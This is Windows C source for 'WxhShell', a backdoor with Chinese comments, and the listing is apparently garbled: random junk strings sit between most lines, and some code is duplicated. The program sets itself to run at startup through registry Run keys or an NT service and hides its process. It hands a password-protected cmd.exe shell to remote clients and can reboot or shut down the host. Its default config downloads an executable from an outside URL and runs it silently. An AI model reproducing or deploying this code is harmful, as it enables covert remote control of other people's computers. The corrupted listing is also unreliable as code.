}Z%\h DWORD AffinityMask; e)uC DWORD BasePriority; Dck/Ea ULONG UniqueProcessId; aEN` ` ULONG InheritedFromUniqueProcessId; t9`{^<LH } PROCESS_BASIC_INFORMATION; /1EAj qA[lL( PROCNTQSIP NtQueryInformationProcess; gBqDx|G ?L }>9$" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DvH-M3 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W_B=}lP@x g@#he95 } HANDLE hProcess; +RJ{)Nec PROCESS_BASIC_INFORMATION pbi; S#]]h/ Xmr}$<<= HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +0Q if(NULL == hInst ) return 0; :^y!z1\2(7 lgews" g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WX4sTxJK g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kgo#JY-4 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >SXSrXyYX k>ErDv8 if (!NtQueryInformationProcess) return 0; b/_Zw^DPC `Moo WG hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \9[vi +T if(!hProcess) return 0; m]?Z_*1 9\ "\7S/Z if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; btg= # u b d 1^ CloseHandle(hProcess); V,KIi_Z <%^/uS hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QYbB\Y if(hProcess==NULL) return 0; H?"M&mF vYRY?~8 C HMODULE hMod; P3Ql[2 char procName[255]; cH&)Iz`f unsigned long cbNeeded; -H%v6E%yh ;^/ruf[t if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rs=Fcvl _&l8^MD CloseHandle(hProcess); 2 `AdNt, [WDzaRzd if(strstr(procName,"services")) return 1; // 以服务启动 =%|`gZ 2_pF#M9 return 0; // 注册表启动 #czInXTTx } S#GxKMO% !l*A3qA // 主模块 ,g?ny<#o int StartWxhshell(LPSTR lpCmdLine) M@TG7M7Os { k1,k 9BK SOCKET wsl; Ubu&$4a BOOL val=TRUE; })OS2F int port=0; L$=R/l struct sockaddr_in door; M!6Fnj >n,_Aj
c if(wscfg.ws_autoins) Install(); Fizrsr 6% ^\v]Ltd port=atoi(lpCmdLine); p&Qb&nWk< .OJGo<#$f if(port<=0) port=wscfg.ws_port; |it*w\+M >Cr"q* WSADATA data; q]{gAGe~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <~mqb=qA$ <pk*z9 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [j@ek setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A}Iyl door.sin_family = AF_INET; E6GubU door.sin_addr.s_addr = inet_addr("127.0.0.1"); <qR$ `mLN door.sin_port = htons(port); !IOmJpl' :Ak^M~6a5 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D#<y
pJR closesocket(wsl); L9/'zhiZBx return 1; %ZoJu } n@`3O'S 3@=<4$ if(listen(wsl,2) == INVALID_SOCKET) { }!^h2)'7 closesocket(wsl); W
$D 34( return 1; +(Y\w^@%H } SLuQv?R}9 Wxhshell(wsl); .Vt|;P} WSACleanup(); K21Xx`XK =+X*$'<J return 0; ;,-)Z|W |Kd6.Mx } W^elzN(
D&m1yl@\J // 以NT服务方式启动 dFg&|Lp VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "dCIg{j { b!g)/%C
DWORD status = 0; Wqv7 DWORD specificError = 0xfffffff; t'F$/mx. >IQ&*Bb serviceStatus.dwServiceType = SERVICE_WIN32; +_:p8,
5o serviceStatus.dwCurrentState = SERVICE_START_PENDING; |!K&h(J| serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |6NvByc, serviceStatus.dwWin32ExitCode = 0; :vi %7 serviceStatus.dwServiceSpecificExitCode = 0; ]/!*^;cY( serviceStatus.dwCheckPoint = 0; L^e*_q2d:> serviceStatus.dwWaitHint = 0; 2>"{El|PbN HV!P]82Pa hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .:H'9QJg if (hServiceStatusHandle==0) return; %;4#?.W8 _3
[E$Lg status = GetLastError(); {Q/@ Y.~< if (status!=NO_ERROR) RPa]VL1W { _$*-?*V& serviceStatus.dwCurrentState = SERVICE_STOPPED; ;2h"YU-b serviceStatus.dwCheckPoint = 0; cV:Q(|QC serviceStatus.dwWaitHint = 0; +PYR serviceStatus.dwWin32ExitCode = status; p3fVw]N serviceStatus.dwServiceSpecificExitCode = specificError; >]}VD "\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3=]/+{B return; TPb&";4ROf } a?Om;-i2`S ip'v<%,Q3" serviceStatus.dwCurrentState = SERVICE_RUNNING; -T+yS BO_3 serviceStatus.dwCheckPoint = 0; [
2@Lc3< serviceStatus.dwWaitHint = 0; E2
'Al6^C if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ew}GPJ } H?opG<R=ek fx 0 8>r
// 处理NT服务事件,比如:启动、停止 w8o?wx* VOID WINAPI NTServiceHandler(DWORD fdwControl) I-.?qcy~ { gu3)HCZ switch(fdwControl) P9\y~W { qjfv9sU case SERVICE_CONTROL_STOP: Nt+UL/1] serviceStatus.dwWin32ExitCode = 0; R7Tl1!,h serviceStatus.dwCurrentState = SERVICE_STOPPED; fo}@B&=4 serviceStatus.dwCheckPoint = 0; JBQ>"X^ serviceStatus.dwWaitHint = 0; N0fE*xo { ed,+Slg SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,,XHw;{ } w;VUP@Wm return; Y\!:/h]E& case SERVICE_CONTROL_PAUSE: "~C\Z} ; serviceStatus.dwCurrentState = SERVICE_PAUSED; |RpZr!3V break; qyyLU@hd case SERVICE_CONTROL_CONTINUE: i_6 wD serviceStatus.dwCurrentState = SERVICE_RUNNING; M]\"]H? break; oQyMs> g case SERVICE_CONTROL_INTERROGATE: T5~Qfl?Y break; #oGvxc7 }; ziW[qH { SetServiceStatus(hServiceStatusHandle, &serviceStatus); KJ?/]oLr0 } TuMZHB7h; yyR@kOGga // 标准应用程序主函数 ~$a%& ]\ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K6<1& { w*SF Q_6YE #l2WRw_t // 获取操作系统版本 bv[*jr;45 OsIsNt=GetOsVer(); ,v| vgt GetModuleFileName(NULL,ExeFile,MAX_PATH); [-[|4|CnOm YS"76FJ // 从命令行安装 /?j^Qu if(strpbrk(lpCmdLine,"iI")) Install(); 8HO)",+I zJ0'KHF}o // 下载执行文件 u*;53 43 if(wscfg.ws_downexe) { *7Sg8\wDn if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gp'n'K] WinExec(wscfg.ws_filenam,SW_HIDE); JvUHoc$sI } Us9$,(3 ,@gDY9Q3r/ if(!OsIsNt) { 9.goO|~B~ // 如果时win9x,隐藏进程并且设置为注册表启动 OQX ek@~2 HideProc(); ;+qPV7Z StartWxhshell(lpCmdLine); Pb D|7IM } qj|B #dU else E{9{%J if(StartFromService()) YpZ9h@, // 以服务方式启动 QQjMC' StartServiceCtrlDispatcher(DispatchTable); 6ud<B else EVmE{XlD; // 普通方式启动 `V ++})5v StartWxhshell(lpCmdLine); ,v1-y
?kB _jb"@TY return 0; J2#=`|t" } b OmM~pD o9HDxS$~^ Ll&5#q 7]9s_13] =========================================== -ap;Ul? e;}5~dSi f4T-=` SO
?Ve5}N J=]w$e ?.P Zr2QeLQC( " u=
+ f{z%P I[ #include <stdio.h> {78*SR #include <string.h> PuABS>.; #include <windows.h> ~KfjT
p# #include <winsock2.h> -+I! (? #include <winsvc.h> v:T` D #include <urlmon.h> kAk,:a;P O,1u\Zy/ #pragma comment (lib, "Ws2_32.lib") VZlvmN #pragma comment (lib, "urlmon.lib") "AVj]jR k~?}z.g( #define MAX_USER 100 // 最大客户端连接数 \&qVr1| #define BUF_SOCK 200 // sock buffer ?R{?Qv #define KEY_BUFF 255 // 输入 buffer 0_y%Qj^e f,a4LF #define REBOOT 0 // 重启 o_*|`E #define SHUTDOWN 1 // 关机 Q}.y"|^ |)JoxqR #define DEF_PORT 5000 // 监听端口 O-2H!58$) ^9b
`;}) . #define REG_LEN 16 // 注册表键长度 L,4^Of #define SVC_LEN 80 // NT服务名长度 n_ez6{ K
:q-[\G // 从dll定义API S@"=,Xj M typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); et ~gO!1:* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ta 6WZu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;qk~> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FW.dHvNX c`}X2u]k // wxhshell配置信息 zXf+ie o struct WSCFG { O}f(h5!k int ws_port; // 监听端口 @Q1jH~t char ws_passstr[REG_LEN]; // 口令 jh0$:6 `C int ws_autoins; // 安装标记, 1=yes 0=no nG*6ic char ws_regname[REG_LEN]; // 注册表键名
]D-48o0 char ws_svcname[REG_LEN]; // 服务名 XP;&iZJ char ws_svcdisp[SVC_LEN]; // 服务显示名 #"yf^*wX char ws_svcdesc[SVC_LEN]; // 服务描述信息 7ER 2h* char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?Ru`ma\; int ws_downexe; // 下载执行标记, 1=yes 0=no ^{K8uN7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qL+y8* char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (Mm{"J3uv CGe'z }; (MIw$)#^ ;VFr5.*x // default Wxhshell configuration lqCn5|S] struct WSCFG wscfg={DEF_PORT, EXFxiw "xuhuanlingzhe", rYS D-Kq 1, *f#4S_ws` "Wxhshell", _~(Xd@c( "Wxhshell", Fi/G, [q "WxhShell Service", 9c7}-Go "Wrsky Windows CmdShell Service", udZ: OU< "Please Input Your Password: ", hw'2q9J| 1,
E$>e<
T "http://www.wrsky.com/wxhshell.exe", {G0)mp, "Wxhshell.exe" bg*{1^ }; rWs5s!l, KJ)&(Yx // 消息定义模块 FVmg&[
. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C|J1x4sb@ char *msg_ws_prompt="\n\r? for help\n\r#>"; _dBU6U:V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h*9o_ char *msg_ws_ext="\n\rExit."; .>'Z9.Xnk char *msg_ws_end="\n\rQuit."; 9h(hx7] char *msg_ws_boot="\n\rReboot..."; dJ^`9W char *msg_ws_poff="\n\rShutdown..."; G0Eq}MyF char *msg_ws_down="\n\rSave to "; h^*{chm] <"+C<[n. char *msg_ws_err="\n\rErr!"; RM+E char *msg_ws_ok="\n\rOK!"; KRZV9AJ U.F65KaKF char ExeFile[MAX_PATH]; PK4UdT int nUser = 0; NGY I%: HANDLE handles[MAX_USER]; qi2dTB int OsIsNt; iP%=Wo. F]*-i 55S SERVICE_STATUS serviceStatus; 7&)F;;H SERVICE_STATUS_HANDLE hServiceStatusHandle; k9xKaJ%1 cj<@~[uw // 函数声明 gAY2|/, int Install(void); KxwLKaImI int Uninstall(void); n_Y]iAoc` int DownloadFile(char *sURL, SOCKET wsh); (Qm;]?/ int Boot(int flag); UG_0Y8$ void HideProc(void); k >CtWV5B int GetOsVer(void); Z :+#3.4$3 int Wxhshell(SOCKET wsl); *$$V,6O. void TalkWithClient(void *cs); >[@d&28b% int CmdShell(SOCKET sock); pb
Ie)nK int StartFromService(void); o?FUVK int StartWxhshell(LPSTR lpCmdLine); (`+Z'Y *~uuCLv_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1W[(+TZ&s VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q9>]@DrAx 3@?YTez# // 数据结构和表定义 $@kw>2 SERVICE_TABLE_ENTRY DispatchTable[] = F8Wq&X#r { 1[`<JCFClc {wscfg.ws_svcname, NTServiceMain}, c7IR06E {NULL, NULL} |u;PU`^-z }; %Ab_PAw se HbwO3 b // 自我安装 iGMONJRO int Install(void) gu[dw3L { hY 2PV7"[; char svExeFile[MAX_PATH];
]:fCyIE HKEY key; & }}WP:U strcpy(svExeFile,ExeFile); lh_zZ!)g I7^X;Q
F // 如果是win9x系统,修改注册表设为自启动 k&s7-yY if(!OsIsNt) { Fd&!-`T? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PZJ
4:h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F:S>\wG, RegCloseKey(key); mm-UQ\h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "\r~,S{: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <SZO-
-+lB RegCloseKey(key); XSjelA? return 0; ok2~B._+; } WUS9zK } X$iJ|=vW } Wb)l8[= else { ;w(1Ydo D])YP0|} // 如果是NT以上系统,安装为系统服务 >? eTbtP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Pm(:M:a if (schSCManager!=0)
uE`|0 { :$c:3~ SC_HANDLE schService = CreateService h)^A3;2F ( yWi0tE{ schSCManager, lY*]&8/= wscfg.ws_svcname, f\U&M,L\' wscfg.ws_svcdisp, @[lc0_b SERVICE_ALL_ACCESS, 7O{O')o! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 89#0vG7m SERVICE_AUTO_START, =e8L7_; SERVICE_ERROR_NORMAL, n o+tVm| svExeFile, )2Ru!l# NULL, YQdX>k NULL, %`1CE\f NULL, 2RUR=%C NULL, EvQwGt1)P NULL ZNpExfGEU ); {V%O4/ if (schService!=0) ,nB3c5X)| { QsJW"4d CloseServiceHandle(schService); 0&IXzEOr CloseServiceHandle(schSCManager); 6*aa[,> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u<=KC/vZe strcat(svExeFile,wscfg.ws_svcname); ~!:S p_y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JOx,19r RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t{8v(} RegCloseKey(key); 56SS
>b return 0; f
H|QAMfOu } =Z .V+ 4+ } i(yAmo9h CloseServiceHandle(schSCManager); L\wpS1L( } 5YI/Ec } 9_WPWFO fb.\V]K return 1; F:o# } I,4- ,o@~OTja* // 自我卸载 27E9NO= int Uninstall(void) ,' rL'Ys { \y H3Y HKEY key; /E{dM2 4[,B ;7 if(!OsIsNt) { $W {yK+N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,mjfZ*N RegDeleteValue(key,wscfg.ws_regname);
gr`Ar; RegCloseKey(key); [}ZPg3Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G</I%qM RegDeleteValue(key,wscfg.ws_regname); vV6Lp RegCloseKey(key);
SU%rWH return 0; (21 W6 } tdnXPxn[ } 2iPmCG } yOUX E>- else { B(\r+" PB *M&VqG4P9w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3_\{[_W if (schSCManager!=0) 2@3.xG { }x?H ~QQT SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1KYbL8c if (schService!=0) 8S1P&+iKs { RHx+HBZ if(DeleteService(schService)!=0) { )0U3w#,JQ CloseServiceHandle(schService); !<=%;+ CloseServiceHandle(schSCManager); EN-H4F return 0; ..q63dr } Le`/ CloseServiceHandle(schService); ?VZ11?u } 88#qu. CloseServiceHandle(schSCManager); yD[zzEuQ } fEj9R@u+h } 7O+Ij9+{n vdH+>l return 1; jKj=#O } S0N2rU (lN;xT`= // 从指定url下载文件 p<HTJ0 int DownloadFile(char *sURL, SOCKET wsh) NDRW { 9'n))%CZ. HRESULT hr; xi?P(sA char seps[]= "/"; ^$=tcoQG char *token; e|b~[|;*= char *file; `&u<aLA char myURL[MAX_PATH]; ;v,9v;T char myFILE[MAX_PATH]; Jm %ynW i!Dh&XT strcpy(myURL,sURL); A \MfF token=strtok(myURL,seps); ` /I bWu while(token!=NULL) #ox9& { dU ,)TKQ file=token; $bZu^d, token=strtok(NULL,seps); oNuPP5d[] } \6SMn6a4 6.U"_% GetCurrentDirectory(MAX_PATH,myFILE); X(GmiH /E strcat(myFILE, "\\"); C#Hcv*D strcat(myFILE, file); ~5r=FF6 send(wsh,myFILE,strlen(myFILE),0); I(OAEIz send(wsh,"...",3,0); QN_)3lm hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
aFRTNu/r if(hr==S_OK) 9Qzjqq:"Li return 0; y Y>-MoF/t else
mW~i
c return 1; u/gm10<OWa =PNdP } ]{IR&{EI- Yzj%{fkh // 系统电源模块 ,8c
dXt
int Boot(int flag) =5y`(0 I`U { B*?ZE4` HANDLE hToken; 9W1;Kb|Z< TOKEN_PRIVILEGES tkp; G;(onJz y$IaXr5L if(OsIsNt) { /[a|DUoHO OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n}< ir!ZTO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y#S1c)vU tkp.PrivilegeCount = 1; M!N`
Orz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6IEUJ-M Z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ycgfZ 3K if(flag==REBOOT) { L]k*QIn:h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N9i}p^F<_ return 0; 5%<TF.;-J } e7@li<3>d else { %{R_^Y8t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |x &Z~y return 0; XVQL.A7 } ?^LG
hdR } |EF>Y9
else { b/}'Vf[ if(flag==REBOOT) { <9ma(PFa if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )K{o<m~WAo return 0; ;#3ekl{-g } \s=QiPK else { IWAj Mwo if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X_D6eYF return 0; >9-Dd)< } 0jBKCu } \Y*!f|=of 9c#lLKrzG return 1; RK?jtb=&A } c}\
'x5:o 3PfiQ|/b // win9x进程隐藏模块 l<:`~\# void HideProc(void) "E.\6sC { xM&EL>m>L 1'Nh jL HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o
g_Ri$x8 if ( hKernel != NULL ) y k?SD1hj { +Dv 7:x7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T3=(` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X$/E>I FreeLibrary(hKernel); Iq+2mQi*/k } I?^aCnU &a.']!$^" return; M9gOoYf,~ } 9*' &5F= {`a(Tl8V // 获取操作系统版本 $nj\\,(g int GetOsVer(void) Q\H_t)- { ri: ,q/- OSVERSIONINFO winfo; 8`}l\ Y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $Jc q7E~ GetVersionEx(&winfo); 0}B?sNr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q.yb4 return 1; *\D}eBd| else mKM,kY return 0; *m*`}9 } y>`5Kyj3-@ }7%9}2}Iw // 客户端句柄模块 E-^2"j>o int Wxhshell(SOCKET wsl) 2SYKe$e { Hj2<ZL SOCKET wsh; Hoj8okP struct sockaddr_in client; xWDR726 DWORD myID; sJOV2#r B;V5x/ while(nUser<MAX_USER) ~Po<(A}`f { 4h;4!I| int nSize=sizeof(client); ?z3] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DY8(g=TI|1 if(wsh==INVALID_SOCKET) return 1; GLCAiSMz[ rkq#7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y~}5axSPH if(handles[nUser]==0) syRN4 closesocket(wsh); iA9 E^ else nWk e#{[ nUser++; ~T%Ui#Gc } e9 *lixh WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E:)Cp :5jexz."M return 0; B X*69 } zd.'*Dj L/yaVU{aEb // 关闭 socket r_^)1w void CloseIt(SOCKET wsh) Tpb"uBiXoo { FI$XSG closesocket(wsh); grspt} nUser--; t{zBC?cR ExitThread(0); *jE;9^ } ->h5T%sn h,t:] // 客户端请求句柄 P3!Atnv2 void TalkWithClient(void *cs) q6REh;$ { CcY7$D NO2(vE SOCKET wsh=(SOCKET)cs; 6T_K9 char pwd[SVC_LEN]; 6Cv.5Vhx char cmd[KEY_BUFF]; IB8gDP2 char chr[1]; T cJ$[ int i,j; &qKigkLd RU|X*3";T while (nUser < MAX_USER) { i'=2Y9S} {jW%P="z$" if(wscfg.ws_passstr) { i $C-)d] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lI6W$V\, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &n>7Ir //ZeroMemory(pwd,KEY_BUFF); L=]p_2+ i=0; xzr<k Sp while(i<SVC_LEN) { 0q#"clw O%&cE*eX // 设置超时 L5f$TLw
h; fd_set FdRead; :RiF3h( struct timeval TimeOut; Ys3uPs FD_ZERO(&FdRead); :y1 Bt+Fp FD_SET(wsh,&FdRead); ;|HL+je;Z TimeOut.tv_sec=8; aClA{ TimeOut.tv_usec=0; g*J@[y; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~x#vZ=]8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N}x9N. Xb,T{.3@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JNi=`X&A pwd=chr[0]; "}zt`3 if(chr[0]==0xd || chr[0]==0xa) {
q=4Bny0 pwd=0; \k; n20\u break; <<,>S&/ } mp1ttGUtM i++; QIK
9 } R,,Qt
TGB (` c
G // 如果是非法用户,关闭 socket DpvrMI~I_ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <#*.}w~ } 3{ "O,h .3X Y&6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A
gWPa.'3 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +qy6d7^ $FX,zC<= while(1) { g`[$XiR IPtvuEju\ ZeroMemory(cmd,KEY_BUFF); x+7*ADKb cbYK5fj"T // 自动支持客户端 telnet标准 (s&&>M]r_ j=0; ?JXa~.dA while(j<KEY_BUFF) { UQPU"F7. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g)1X&> cmd[j]=chr[0]; dYF=c if(chr[0]==0xa || chr[0]==0xd) { 1m)M;^_ cmd[j]=0; [>Fm[5x break; W5 ec } #|f~s j++; JN(-.8< } *x(Jq?5O7X >2lwWXA // 下载文件 pj8azFZ if(strstr(cmd,"http://")) { e;( send(wsh,msg_ws_down,strlen(msg_ws_down),0); VaR/o# if(DownloadFile(cmd,wsh)) E!mmLVa9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); qZ+H5AG2 else v&;:^jJ8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D*2\{W/ } (CE7j<j else { |5MbAqjzC `^6 ,kI-c switch(cmd[0]) { ~ap2m 6q/?-Qcy // 帮助
AK@L32-S case '?': { ."6[:MF send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lr3mE break; d%ME@6K) } nc?B6IV // 安装 lm0N5(XP case 'i': { Tv$sqVe9 if(Install()) $[ z y send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5zB~4 u else [*4fwk^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =.Tv)/ea break; $>q@SJ1q } !#N\b // 卸载 N#k61x case 'r': { m9":{JI.w if(Uninstall()) Im?LIgt$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'EhBRU% else L%h/OD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'i|rjW( break; eV};9VJ$F } /aqEJGG> // 显示 wxhshell 所在路径 +%0z`E\?M# case 'p': { bS!\#f%9" char svExeFile[MAX_PATH]; vjUp *R>h strcpy(svExeFile,"\n\r"); ,6"l (]0 strcat(svExeFile,ExeFile); 8e2?tmWM send(wsh,svExeFile,strlen(svExeFile),0); *hY2.t; X break; L%\b' fs } wkb$^mU // 重启 A9:NKY{z case 'b': { uGVy6, send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @cD uhK"U} if(Boot(REBOOT)) nJFg^s1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); QlZ@ To else { <48<86TP closesocket(wsh); >U!*y4 ExitThread(0); 5M_Wj*a}7 } l=m(mf?QBg break; rf
K8q'@ } Ol/N}M|3 // 关机 n"D ?I case 'd': { #"*e+.j[; send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #JW+~FU` if(Boot(SHUTDOWN)) 9pSUIl9|j send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ud(`V:d else { |U'I/A closesocket(wsh); svhI3"r ExitThread(0); kxB.,' } Y%aWK~O break; rZ03x\2 } -ysn&d\rV // 获取shell 7jG(<!, case 's': { ROb\Rxm CmdShell(wsh); 19U]2D/z closesocket(wsh); !{%: qQiA ExitThread(0); UQ?%|y*Kc break; Xrqx\X } A[N{ // 退出 6,b" case 'x': { j<yiNHC send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P 7D!6q CloseIt(wsh); )%Iv[TB[ break; YwDt.6(+, } ^QXbJJ // 离开 Dm0a.J v case 'q': { 1NLg _UBOK send(wsh,msg_ws_end,strlen(msg_ws_end),0); L"(4R^] closesocket(wsh); {]N3f[w WSACleanup(); L,_.$1d exit(1); 5Rv+zQ#GR break; N"7]R[* } t0E 51Ic@ } B4H!5b } g_.^O$} m_NCx]#e
// 提示信息 8?FueAM'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GZ #aj| } ]$iqa"{ } PL=^}{r @C8DZ5) return; HL K@xKD< } _8?o'<!8?^ )xU-;z0"~ // shell模块句柄 6;b9swmh int CmdShell(SOCKET sock) XP?rOOn { $iw%(H STARTUPINFO si;
%yS3&Ju ZeroMemory(&si,sizeof(si)); 3251Vq % si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H*I4xT@ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G;iEo4\? PROCESS_INFORMATION ProcessInfo; y'C-[nk char cmdline[]="cmd"; Tny>D0Z# CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z}6^ve return 0; =6nD sibf } 5jcte<
5I_ S=|@L<O // 自身启动模式 L@Nu/(pB= int StartFromService(void) ~aK?cP { qt e>r typedef struct qOhO qV { )X+mV DWORD ExitStatus; [5d2D,) DWORD PebBaseAddress; a*dQ
_ DWORD AffinityMask; oMH.u^b]fT DWORD BasePriority; uZjC
c M ULONG UniqueProcessId; c,\i"=!$ ULONG InheritedFromUniqueProcessId; ^eq</5q D } PROCESS_BASIC_INFORMATION; 5z$,6T i'/m4 !>h PROCNTQSIP NtQueryInformationProcess; 2h=%K/hhY HfNDD|Zz static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^ZRYRA static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W6c]-pc +K",^6%1 HANDLE hProcess; /+K? PROCESS_BASIC_INFORMATION pbi; ^C)n$L>C0 ,L>
ar)B HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7;:#;YSha if(NULL == hInst ) return 0; ^rNUAj9Z B^ 7eo W g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~l[ra g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uq3{hB# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <U Zd;e@ 7L5P%zLtB if (!NtQueryInformationProcess) return 0; 8T[
